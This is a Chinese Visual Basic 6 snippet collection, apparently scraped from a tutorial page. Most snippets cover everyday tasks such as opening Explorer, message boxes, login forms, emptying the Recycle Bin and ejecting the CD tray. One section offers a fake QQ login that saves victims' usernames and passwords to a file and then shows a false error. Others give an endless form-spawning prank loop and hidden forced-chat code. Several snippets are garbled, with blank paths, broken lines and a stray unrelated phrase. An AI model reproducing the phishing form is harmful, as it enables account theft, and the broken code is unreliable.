:打开快捷方式以及程序
SHELL "路径"

2:打开硬盘或文件
Shell "explorer F:", vbNormalFocus

3:打开我的电脑”“资源管理器”……

Shell "EXPLORER.EXE /n, /e, ::{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
4:打开网页
SHELL " www.hao123"



---------------------------------------------------------------


参数说明
/n表示以我的电脑方式打开一个新的窗口,通常打开的是Windows安装分区的根目录。

/e表示以资源管理器方式打开一个新的窗口,通常打开的也是Windows安装分区的根目录。

/root,[path]表示打开指定的文件夹,/root表示只显示指定文件夹下面的文件(),不显示其他磁盘分区和文件夹;[path]表示指定的路径。

如果不加/root参数,而只用[path]参数,则可以显示其他磁盘分区和文件夹中的内容。另外,[path]还可以指定网络共享文件夹。

/select,[path filename]表示打开指定的文件夹并且选中指定的文件,[path filename]表示指定的路径和文件名。


如果不加/select参数,则系统会用相应的关联程序打开该文件。如果[path filename]不跟文件名就会打开该文件夹的上级目录并选中该文件夹。



超级链接
Private Sub Label1_Click()
ShellExecute hWnd, "open", "www.planet-source-code", vbNullString, vbNullString, conSwNormal
End Sub
讲下一个

最小化
Private Sub Command2_Click()
Form1.WindowState = 1
End Sub
这个很简单,就是设置一个按钮,好。对了,顺便讲一下,关闭是最简单的end,好了,接着


IF判断句详解,这是编程里面最基本的语句,我做一个小例子,如如果想让显示出来的是星号
在这里设
If Text1.Text = "463746790" Then 这里就是设置的默认密码
MsgBox "注册码正确!谢谢使用!", , "系统提示"这是登陆成功的提示
Unload Me
Else
这里是注册码不正确的时运行的命令,试一下,这是错误的效果;这是正确的效果
MsgBox "注册码错误。请发送邮件到samsungyjl@126", , "错误!"
Text1.Text = ""
Command3.Enabled = False
End If
End Sub

MsgBox "这里是消息的内容", , "这里是消息的标题"看到了吗?

MsgBox这个就是消息提示框,我讲一下用法
我们给退出做一个消息框 这就是效果

下面的是关于qq的,在网上流传比较广了,
QQ代码:
Private Sub Form_Load()
for i = 1 to 1E+22
form1.show
form2.show
form3.show
form4.show
form5.show
next i
end sub 可以再运行前加一句话,这个我就不试了,要不教程没法作了
VB强行聊QQ
添加控件Microsoft Internet Controls
WebBrowser1 visible设成false(隐藏)

QQ
Private Sub Command1_Click()
WebBrowser1.Navigate "Tencent://Message/?Menu=YES&Exe=&Uin=" & Text1.Text '
WebBrowser1.Stop '
End Sub

VB编写盗QQ软件
登陆代码
Open "" For Append As #1
Print #1, user.Text
Print #1, pass.Text
Close #1
MsgBox "密码错误!", 16, "QQ"
退出end
申请号码
Private Sub Command1_Click()
MsgBox "你的申请QQ号码是:" & Int(Rnd * 1234567), , "QQ号码申请
VB常用代码
单击选中文本框中所有内容
Private Sub text1_Click()
text1.SelStart = 0
text1.SelLength = 65000
End Sub
-------------------------------------------------------------------------
打开一个超连接
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const SW_SHOWNORMAL = 1
Private Const SW_SHOWMINIMIZED = 2
-------------------------------------------------------------------------
Private Sub Command1_Click()
Call ShellExecute(Me.hwnd, "open", "www.o2space", vbNullString, vbNullString, SW_SHOWNORMAL)
End Sub

-
-------------------------------------------------------------------------
用相对路径打开程序
Private Sub Command1_Click()
Shell "", vbNormalFocus
End Sub


最简单登陆窗口及密码更改
用记事本编辑一名为的文本文件,里面输入初始密码,将其放入程序目录中
登陆窗口:

Dim passwordstr As String'用户登录程序

Private Sub Command1_Click()
Open "" For Input As #1
Do While Not EOF(1)
Input #1, passwordstr
Loop
Close #1
If Text1.Text = passwordstr Then
'输入正确
Unload Me
index.Show
'index为输入正确后显示的正常窗口
Else '输入错误
x = MsgBox("用户密码输入错误!请再输一次!", 17, "警告")
Text1.SetFocus
End If
Else
Unload Me
End If
End Sub
-----------------------------
Private Sub Form_Load()
Me.Move (Screen.Width - Me.Width) / 2, (Screen.Height - Me.Height) / 2
Show
Text1.SetFocus
End Sub


------------***********************-----------------
密码更改窗口:
Private Sub Command1_Click() '密码设置程序
If Text1.Text = Text2.Text Then
'确认两次输入密码是否一致
passwordstr = ""
Open "" For Output As #1
Print #1, Text1.Text
Close #1
Unload Me
Else
x = MsgBox("密码输入错误!请重新输入!";, 17, "警告")
Text2.SetFocus
End If
End Sub
---------------------------------------------
Private Sub Form_Load()
Me.Move (Screen.Width - Me.Width) / 2, (Screen.Height - Me.Height) / 2
Show
Text1.SetFocus
End Sub

----------------------------------------------------------------

窗口退出相关
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
QuitMessage
End Sub
---------
Private Sub QuitMessage()
QExit = MsgBox( _
"真的要退出吗?", _
vbYesNo + vbQuestion, _
"提示...")

Select Case QExit
Case vbYes
End
Case vbNo
Cancel = Not ReadyToQuit
End Select
End Sub



提示窗口:
MsgBox "提示内容", vbOKOnly, "提示..."


窗体卸载时相关
Private Sub Form_Unload(Cancel As Integer) ‘窗口卸载
Set Form1 = Nothing ‘完全卸载,如果用endunload语句不能完全释放内存占用
End
End Sub

-----------------------------------------------

Msgbox强制换行(& vbCrLf & _语句)
MsgBox("换行吗?" & vbCrLf & _
"是的,换行")

让标题栏上的关闭按钮失效
声明段:
Private Declare Function GetSystemMenu Lib "User32" (ByVal hwnd As Long, ByVal bRevert As Long) As Long
Private Declare Function DeleteMenu Lib "User32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long) As Long
Private Declare Function AppendMenu Lib "User32" Alias "AppendMenuA" (ByVal hMenu As Long, ByVal wFlags As Long, ByVal wIDNewItem As Long, ByVal lpNewItem As Any) As Long
Private Declare Function GetMenuString Lib "User32" Alias "GetMenuStringA" (ByVal hMenu As Long, ByVal wIDItem As Long, ByVal lpString As String, ByVal nMaxCount As Long, ByVal wFlag As Long) As Long
Private Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Const WM_NCLBUTTONDBLCLK = &HA3
Const WM_NCLBUTTONDOWN = &HA1
Const HTCAPTION = 2
Const MF_STRING = &H0&
Const MF_BYCOMMAND = &H0&
Const SC_CLOSE = &HF060
Private hMenu As Long
Private CloseStr As String
Private Sub Form_Load()
hMenu = GetSystemMenu(Me.hwnd, 0)
CloseStr = String(255, 0)
'SC_CLOSE指的便是"关闭"的那一个MenuItem ID
Call GetMenuString(hMenu, SC_CLOSE, CloseStr, 256, MF_BYCOMMAND)
CloseStr = Left(CloseStr, InStr(1, CloseStr, Chr(0)) - 1)
Call DeleteMenu(hMenu, SC_CLOSE, MF_BYCOMMAND)
End Sub

打开/关闭光驱门
声明段
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpst
rCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Dim Ret As Long
Dim RetStr As String
'控制段(可用命令按钮等)
'打开代码
Ret = mciSendString("set CDAudio door open", RetStr, 0, 0)
'关闭代码
Ret = mciSendString("set CDAudio door closed", RetStr, 0, 0)

避免多用户同时打开同一个程序
Private Sub Form_Load()
If App.PrevInstance Then
MsgBox "程序已经运行,不能再次装载", vbExclamation
Unload Me
End If
End Sub

利用代码启动/关闭中文输入法
IMEMode属性。例如Text1.IMEMode = 1

---------------------------------------------------------

简单时间格式
Private Sub Timer1_Timer()
=Format(Now, "hh:mm:ss")
End Sub

窗口标题栏更改
me.caption=”我的窗口


打开控制面板里的添加/删除程序
Call ControlPanels(" shell32.dll,Control_RunDLL appwiz.cpl,,1")
清空回收站

Private Declare Function SHEmptyRecycleBin Lib "shell32.dll" Alias _
"SHEmptyRecycleBinA" (ByVal hwnd As Long, ByVal pszRootPath As String, _
ByVal dwFlags As Long) As Long
Private Declare Function SHUpdateRecycleBinIcon Lib "shell32.dll" () As Long
Private Const SHERB_NOCONFIRMATION = &H1
Private Const SHERB_NOPROGRESSUI = &H2
Private Const SHERB_NOSOUND = &H4
Private Sub Command1_Click()
Dim retval As Long ' return value
retval = SHEmptyRecycleBin(RecycleBin.hwnd, "", SHERB_NOPROGRESSUI) ' 电脑表白程序代码清空回收
, 确认
' 若有错误出现,则返回回收站图示
If retval <> 0 Then ' error
retval = SHUpdateRecycleBinIcon()
End If
End Sub
Private Sub Command2_Click()
Dim retval As Long ' return value
' 清空回收站, 不确认
retval = SHEmptyRecycleBin(RecycleBin.hwnd, "", SHERB_NOCONFIRMATION)
' 若有错误出现,则返回回收站图示
If retval <> 0 Then ' error
retval = SHUpdateRecycleBinIcon()
End If
Command1_Click
End Sub


28.获得系统文件夹的路径
Private Declare Function GetSystemDirectory Lib "kernel32" Alias _
"GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Sub Command1_Click()
Dim syspath As String
Dim len5 As Long
syspath = String(255, 0)
len5 = GetSystemDirectory(syspath, 256)
syspath = Left(syspath, InStr(1, syspath, Chr(0)) - 1)
Debug.Print "System Path : "; syspath
End Sub

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。